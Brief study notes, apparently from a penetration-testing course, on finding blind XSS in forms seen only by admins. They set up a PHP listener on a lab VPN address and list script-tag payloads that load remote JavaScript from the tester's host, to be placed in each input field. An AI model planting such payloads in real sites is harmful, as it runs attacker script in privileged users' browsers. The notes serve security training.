A Blind XSS vulnerability occurs when the vulnerability is triggered on a page we don't have access to.
Blind XSS vulnerabilities usually occur with forms only accessible by certain users (e.g., Admins). Some potential examples include:
How would we be able to detect an XSS vulnerability if we cannot see how the output is handled?
Loading a Remote Script (Blind XSS discovery)
mkdir /tmp/tmpserver
cd /tmp/tmpserver
sudo php -S 0.0.0.0:80
ip a show tun0 # or ifconfig tun0
Use that IP (example: 10.10.14.x).
Put each payload into every remaining input field (full name, username, etc.).
Skip email (validated) and password.
Payload list to try (in order):
<script src=http://YOUR-IP></script>
'><script src=http://YOUR-IP></script>